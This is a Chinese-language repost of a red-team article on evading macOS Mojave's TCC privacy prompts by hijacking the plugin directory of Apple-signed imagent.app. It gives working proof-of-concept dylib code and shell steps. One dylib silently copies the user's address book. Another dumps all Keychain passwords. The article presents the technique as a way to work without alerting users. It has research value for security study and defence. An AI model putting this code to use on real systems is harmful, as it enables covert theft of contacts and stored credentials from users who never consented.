溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何繞過macOS的隱私控制

發(fā)布時間:2021-12-23 09:44:35 來源:億速云 閱讀:140 作者:柒染 欄目:安全技術(shù)

這篇文章將為大家詳細講解有關(guān)如何繞過macOS的隱私控制,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

寫在前面的話

當每一個新的macOS版本引入了隱私或安全方面的更新時,我們都需要利用一些實用技術(shù)來瀏覽和了解蘋果做了哪些修改。

2018年底,蘋果推出了macOS Mojave,并引入了一種隱私限制機制,旨在應(yīng)用程序請求訪問敏感數(shù)據(jù)(如相機、麥克風(fēng)、通訊簿和日歷等)時向用戶發(fā)出警告提示。而且通常情況下,紅隊研究人員參與的項目其核心之一就是在實現(xiàn)滲透的過程中不被檢測到,因此我媽們就需要繞過這些安全控制來避免用戶發(fā)現(xiàn)我們的行為,所以我們最不想看到的就是系統(tǒng)給用戶彈出下面這種警告對話框:

如何繞過macOS的隱私控制

我們將給大家介紹一種繞過macOS隱私控制以及其他保護訪問限制(例如Keychain等)的技術(shù)。

macOS隱私控制機制概覽

此前我就一直在想辦法繞過Mojave的隱私控制機制,而且我也在思考第三方應(yīng)用程序訪問日歷和通訊簿等功能時,操作系統(tǒng)是如何向用戶顯示隱私提示警告框的。更重要的是,我想知道蘋果簽名的應(yīng)用程序如何能夠訪問這些功能而無需征得用戶同意。

其實我想要尋找的答案都在TTC那里。TTC,即透明、許可和控制服務(wù)。除了沙箱之外,TTC還負責(zé)監(jiān)控程序訪問請求,并在請求受限資源時向用戶發(fā)出警報。

我們可以看看下列行為:

ls ~/Library/Calendars

除非你之前已經(jīng)同意過讓Terminal.app訪問日歷程序的話(可以使用命令“ttcutil reset Calendar”來重置許可),否則系統(tǒng)將彈出下列警告框:

如何繞過macOS的隱私控制

點擊“不允許”后,你將會在控制臺中看到請求應(yīng)用錯誤的提示:

如何繞過macOS的隱私控制

查看控制面板中的“安全&隱私”配置項,你將會看到:

如何繞過macOS的隱私控制

有趣的是,在這個配置面板中,我們并沒有看到Calendar.app的身影,我們使用codesign工具查看Calendar.app的權(quán)限時,信息如下:

<key>com.apple.private.tcc.allow</key>

<array><string>kTCCServiceReminders</string><string>kTCCServiceCalendar</string><string>kTCCServiceAddressBook</string>

</array>

這里,我們可以看到com.apple.private.tcc.allow的權(quán)限,如果應(yīng)用該權(quán)限,我們就可以在不提示的情況下訪問受保護的資源了。因此,每個需要訪問的資源需要列在這個授權(quán)列表中,此時的Calendar.app就可以直接訪問提醒、日歷和通訊簿等功能了,而TCC不會向用戶顯示任何的隱私警告框。

不幸的是,我們不能直接用這種權(quán)限來給我們的應(yīng)用程序簽名,并添加到com.apple.private權(quán)限列表中,因為它們只對蘋果簽名的二進制文件有效,因此我們還需要尋找另一種方法。

如何實現(xiàn)?

自macOS Mojave發(fā)布以來,網(wǎng)上已經(jīng)有很多帖子討論過這方面的內(nèi)容了,其中的大部分方法都依賴于使用某種方式來控制那些以在該權(quán)限列表里的應(yīng)用程序,但我們更傾向于使用其他方法來在目標應(yīng)用程序中執(zhí)行代碼。

在本文中,我們將注意力放在macOS自帶的imagent.app身上,這個應(yīng)用程序位于/System/Library/PrivateFrameworks/IMCore.framework/imagent.app。查看該應(yīng)用程序的權(quán)限之后,我們會發(fā)現(xiàn)一個非常有趣的事情。首先,我們看到它可以在無需提醒用戶的情況下訪問通訊簿:

<key>com.apple.private.tcc.allow.overridable</key>

<array><string>kTCCServiceAddressBook</string>

</array>

另外,我們還可以看到這個應(yīng)用程序能夠訪問多個Keychain訪問組:

<key>keychain-access-groups</key>

<array><string>ichat</string><string>apple</string><string>appleaccount</string><string>InternetAccounts</string><string>IMCore</string>

</array>

接下來,我們需要使用codesign工具來驗證代碼關(guān)聯(lián)的驗證標識:

codesign -d --entitlements :- /System/Library/PrivateFrameworks/IMCore.framework/imagent.app -vv

執(zhí)行之后,我們可以看到如下所示的嵌入式元數(shù)據(jù):

CodeDirectory v=20100 size=4066 flags=0x0(none) hashes=120+5 location=embedded

在找到合適的代理應(yīng)用時需要注意的標識是library-validation,它代表只有由蘋果簽名的dylib或應(yīng)用程序組ID才能被加載。運行時標識代表應(yīng)用程序使用了強化的運行時環(huán)境,而這種情況降不允許我們將任意dylib加載到進程中。

如果這兩個標識都不存在,我們就不必處理這些限制了?,F(xiàn)在你可能在想,“我可以用dyldinsert庫來加載我的dylib嗎?”.嗯….不可以!蘋果當然考慮過這一點,如果您查看https://opensource.apple.com/source/dyld/dyld-655.1.1/src/dyld.cpp.auto.html上的源代碼,你

將看到,當存在授權(quán)時,通過環(huán)境變量加載dylib的任何嘗試都會受到限制。

那么我們還有什么其他選擇嗎?通過分析imagent.app的結(jié)構(gòu),我們會看到一個PlugIns目錄,它是為了在程序運行時加載擴展插件而設(shè)計的。由于我們的目標應(yīng)用程序不需要用到已簽名的dylib,因此我們有可能通過它來向已簽名的進程中加載任意代碼。

接下來,我們需要對二進制文件進行反編譯,然后看看PlugIns目錄是如何被使用的。

在尋找NSBundle引用時,我們找到了_loadServices方法:

如何繞過macOS的隱私控制

我們可以看到插件Bundle必須包含的文件擴展名,以及函數(shù)加載Bundle的過程:

如何繞過macOS的隱私控制

接下來,我們需要創(chuàng)建一個插件,這里我直接找了一個現(xiàn)成的imservice插件來直接修改,插件路徑為/System/Library/Messages/PlugIns。

拿到我們的插件之后,我們可以拷貝到一個可寫入的路徑:

cp -r /System/Library/PrivateFrameworks/IMCore.framework /tmp/; cp -r /System/Library/Messages/PlugIns/iMessage.imservice /tmp/IMCore.framework/imagent.app/Contents/PlugIns/

接下來我們需要創(chuàng)建要加載的dylib,在創(chuàng)建dylib時,我們將使用attribute((constructor))描述符來確保在加載庫時執(zhí)行提供的代碼,這樣才能在不向用戶顯示提示框的情況下退出代理應(yīng)用程序。例如:

@implementation FunkyDylib :NSObject-(void)copyFilesFrom:(NSString *)src toPath:(NSString *)dst {NSFileManager *fileManager = [[NSFileManager alloc]init];[fileManager copyItemAtPath:src toPath:dst error:nil];}@endvoid runPOC(void) {[FunkyDylib alloc] copyFilesFrom:@"/Users/xpn/Library/Application Support/AddressBook" toPath:@"/tmp/AddressBook"];NSLog(@"[*] Copy complete, check /tmp/AddressBook for data");}__attribute__((constructor))static void customConstructor(int argc, const char **argv) {printf("IMCore PlugIns hijack POC by @_xpn_\n\n");runPOC();exit(0);}

編譯完成后,我們可以直接替換iMessage.imservice現(xiàn)有的插件dylib:

cp -f funky.dylib /tmp/IMCore.framework/imagent.app/Contents/PlugIns/iMessage.imservice/Contents/MacOS/iMessage

接下來,啟動imagent:

/tmp/IMCore.framework/imagent.app/Contents/MacOS/imagent

一切正常的話,此時將不會彈出警告框,而通訊簿的數(shù)據(jù)都將會被復(fù)制到/tmp中:

如何繞過macOS的隱私控制

訪問Keychain

除了上面的效果之外,我們還可以將這項技術(shù)用到其他地方,比如說Keychain訪問組:

如何繞過macOS的隱私控制

接下來,我們嘗試獲取用戶的Keychain憑證,這里需要使用SecItemCopyMatching方法來搜索憑證,并導(dǎo)出Keychain的所有屬性,包括用戶存儲的密碼:

@implementation FunkyDylib :NSObject-(void)harvestKeychain {NSDictionary *query = @{(id)kSecClass: (id)kSecClassGenericPassword,(id)kSecReturnData: (id)kCFBooleanTrue,(id)kSecAttrSynchronizable: (id)kCFBooleanTrue,(id)kSecReturnAttributes: (id)kCFBooleanTrue,(id)kSecMatchLimit: (id)kSecMatchLimitAll};NSData *inData = nil;CFTypeRef inTypeRef = (__bridge CFTypeRef)inData;OSStatus status = SecItemCopyMatching((CFDictionaryRef)query, &inTypeRef);if(status != noErr){printf("[!] Error with SecItemCopyMatching\n");return;}NSLog(@"[*] Dumping Wifi Creds from Keychain...\n\n");NSLog(@"%@", (__bridge id)inTypeRef);}@endvoid runPOC(void) {[[FunkyDylib alloc] harvestKeychain];}__attribute__((constructor))static void customConstructor(int argc, const char **argv) {printf("IMCore PlugIns hijack POC by @_xpn_\n\n");runPOC();exit(0);}

拷貝上述內(nèi)容并覆蓋之前創(chuàng)建的iMessage插件dylib,然后啟動imagent:

如何繞過macOS的隱私控制

關(guān)于如何繞過macOS的隱私控制就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI